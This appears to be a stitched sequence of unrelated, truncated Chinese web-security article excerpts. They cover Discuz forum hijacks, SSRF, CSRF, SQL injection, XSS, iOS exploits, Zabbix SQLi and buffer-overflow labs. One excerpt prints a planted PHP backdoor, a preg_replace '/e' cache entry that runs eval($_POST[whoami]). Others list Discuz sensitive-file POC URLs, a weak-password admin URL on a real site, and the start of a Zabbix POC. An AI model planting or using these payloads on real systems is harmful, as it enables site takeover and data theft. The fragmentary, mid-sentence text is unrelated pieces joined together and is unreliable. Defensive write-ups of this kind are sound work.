最近又发现discuz论坛被挂马了,决定好好研究一下discuz的漏洞,技术债始终要还是要还的 一.问题发现 快要睡觉的时候,突然收到一封邮件,发现服务器上的文件被篡改了,立即登录服务器,清空恶意文件,并将其锁定(为什么不是移走呢 ? ) 然后迅速找到所有有问题的文件,那么这里如何找 ? 这个时候你会发现日志是一个好东西,记录所有的访问记录 解码之后,发现其中一条记录是这样的 但是这些信息并没有什么用,还是要追本溯源 ,继续往前查,功夫不负有心人,最终让我发现了一些情况 [12/Nov/2018

例1, discuz!后台弱口令/暴力破解 1.http://club.lenovo.com.cn/admin.php

一.漏洞起源 突然有同事反馈,无法注册 看到这里不了解的同行估计一年懵逼,这里也是常用的漏洞攻击,可以肯定的是  badwords.php文件被修改了 ,可以查看这个文件内容 <?php $_CACHE['badwords'] = array ( 'findpattern' => array ( 'balabala' => '/.*/e', ), 'replace' => array ( 'balabala' => 'eval($_POST[whoami]);', ), );

近期我们sinesafe安全部门审计discuz最新版的时候发现配置文件写入导致代码执行的问题.cms安装的时候一般会分为几个步骤去进行,其中有对配置文件config进行写入的步骤,当写入的时候未严格限制传入的参数就存在代码执行问题. 源码信息:Discuz_X3.4_GIT_SC_UTF8 问题文件: \upload\install\index.php 漏洞类型:配置文件写入导致代码执行 站点地址:http://www.discuz.net/forum-10-1.html 直接看配置信息写入的

SSV-90861 Date:2012 类型:敏感信息泄露 影响范围:DZ x2.5  POC:http://www.xx.xx/uc_server/control/admin/db.php http://www.xx.xx/source/plugin/myrepeats/table/table_myrepeats.php http://www.xx.xx/install/include/install_lang.php Discuz! X2.5 远程代码执行 Date: 类型: RCE 前置条

文章来源i春秋 白帽子挖洞的道路还漫长的很,老司机岂非一日一年能炼成的. 本文多处引用了 YSRC 的 公(qi)开(yin)漏(ji)洞(qiao).挖SRC思路一定要广!!!!漏洞不会仅限于SQL注入.命令执行.文件上传.XSS,更多的可能是逻辑漏洞.信息泄露.弱口令.CSRF.本文着重分析逻辑漏洞,其他的表哥可能会分享更多的思路,敬请期待.当然Web程序也不仅限于网站程序,漏洞更多的可能是微信公众号端.APP应用程序等等下面总结一下自己的SRC挖洞思路(逻辑漏洞).SRC常见的逻辑漏洞类型

目录 SSRF服务端请求伪造(外网访问内网) 1.SSRF形成原因 2.利用SSRF漏洞的目的 3.SSRF漏洞的用途 4.SSRF漏洞的特性 实例 5.如何挖掘SSRF漏洞 6.常用SSRF去做什么事 7.绕过方法(绕开一般ssrf的防护) 1.更改IP地址写法 2.利用解析URL所出现的问题 8.防护SSRF措施 CSRF跨站请求伪造(也叫点击攻击) 1.CSRF攻击原理 2.达成CSRF攻击的条件 3.CSRF分类 4.检测方法 5.如何挖掘CSRF漏洞 6.常用攻击手段实例 1).dz网

黑云压城城欲摧 - 2016年iOS公开可利用漏洞总结 作者:蒸米,耀刺,黑雪 @ Team OverSky 0x00 序 iOS的安全性远比大家的想象中脆弱,除了没有公开的漏洞以外,还有很多已经公开并且可被利用的漏洞,本报告总结了2016年比较严重的iOS漏洞(可用于远程代码执行或越狱),希望能够对大家移动安全方面的工作和研究带来一些帮助. 0x01 iOS 10.1.1 公开的可利用漏洞 1. mach_portal攻击链:该攻击链是由Google Project Zero的Ian Beer

以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞,大家相信很熟悉了. 不懂得简单了解下,懂的大牛直接飘过即可. ***************************************************************************** 当我们用御剑之类的扫描器扫描到某些有这个万能密码SQL注入的漏洞网站后台后, 打开

本文地址 原文地址 本文提纲: 1.  Nginx的模块与工作原理    2.  Nginx的进程模型    3 . NginxFastCGI运行原理        3.1 什么是 FastCGI        3.2 NginxFastCGI运行原理        3.3 spawn-fcgi与PHP-FPM        3.4 NginxPHP-FPM 4. Nginx+PHP正确配置         4.1 不应该在location 模块定义index         4.2 使用try

之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案.能监视各种网络参数,保证服务器系统的安全运营:并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题. 0x01 Zabbix漏洞POC&尝试 POC如下: '3297&updateProfil

记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始学pwn不久,很多理解有偏差. 现在时间过去了一年多,还经常有朋友发私信问我其中的实例程序还在不在,很遗憾我自己也没有了哈:) 前不久要给别人做个这方面的培训,于是写了这个ppt,其中有我自己一些粗浅的理解,在此分享给大家, 在ppt中,基本每一种技术我都附了一个实例及对应的exp.都打包在一起了.

APP漏洞扫描用地址空间随机化 前言 我们在前文<APP漏洞扫描器之本地拒绝服务检测详解>了解到阿里聚安全漏洞扫描器有一项静态分析加动态模糊测试的方法来检测的功能,并详细的介绍了它在针对本地拒绝服务的检测方法. 同时,阿里聚漏洞扫描器有一个检测项叫未使用地址空间随机化技术, 该检测项会分析APP中包含的ELF文件判断它们是否使用了该项技术.如果APP中存在该项漏洞则会降低缓冲区溢出攻击的门槛. 本文主要介绍该项技术的原理和扫描器的检测方法.由于PIE的实现细节较复杂,本文只是介绍了大致的原理.

一.父子交互的跨域限制 同域情况下,父页面和子页面可以通过iframe.contentDocument或者parent.document来交互(彼此做DOM操作等,如父页面往子页面注入css). 跨域情况下,就会有限制,无法相互操作. [解决办法] 1.主域不同 没招 2.主域相同,子域不同 以父(a.baidu.com)子(b.baidu.com)为例: 这俩页面相互操作,要是想解决跨域限制,必须设置一个共同的主域,即document.domain="baidu.com" 二.禁止父

入侵(暴风雨前的宁静) 下午阳光甚好,想趁着安静的周末静下心来写写代码.刚过一个小时,3点左右,客服MM找我,告知客户都在说平台登录不了(我们有专门的客户qq群).看了下数据库连接数,正常.登录阿里云发现cpu 居高不下.客户还在等着,只好先重启tomcat.重启后平台登陆正常.本以为是用户导数据或者连接池被占用光了(这个以前出现过,也比较坑),重启下就会没事. 15分钟左右,客服MM又找我,说平台打开很慢. 我打开登录页面加载都很慢,这时候还是不知道什么问题,上阿里云看看,一看发现有攻击. 看

缓冲区溢出漏洞实验 本课程详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的

很多人说dedecms不好,因为用的人多了,找漏洞的人也多了,那么如果我们能修复的话,这些都不是问题. 好,我们来一个一个修复.修复方法都是下载目录下该文件,然后替换或添加部分代码,保存后上传覆盖(记得先备份),这样的好处是防止用懒人包上传之后因为UTF8和GBK不同产生乱码,或者修改过这几个文件,然后直接修改的部分被替换掉,那之前就白改了,找起来也非常的麻烦.如果你搜索不到,看行数,找相近的,然后将我标记红色的部分复制到对应位置.      任意文件上传漏洞修复      一./include

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较广的漏洞之一. 0x01 原理介绍 sql注入攻击作为注入攻击的一种,不同于xss的html和js代码注入,sql注入攻击注入的sql语句,最终导致数据库执行了用户输入的sql语句,想要sql注入玩的好,要学好sql语句以及了解一些数据库的特性. 0x02 危害性 sql注入由于可以导致数据库直接执

前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 0x01    跨站脚本攻击漏洞(XSS),是客户端脚本安全中的头号大敌,owasp top10 屡居榜首,由于攻击手法较多,开发者水平不一,危害性又往往被人忽视,这就造成了xss普遍的存在. 0x02    xss漏洞本质还是注入攻击的一种,为什么叫跨站脚本攻击,跨站就是不同站之间,脚本攻击呢这里的脚本其实是js脚本,所以只要是js能干的事情,xss攻击也就能干,危害主要是会话劫持,钓鱼攻击,获取用户浏览器信息,网页蠕虫,甚至是命令执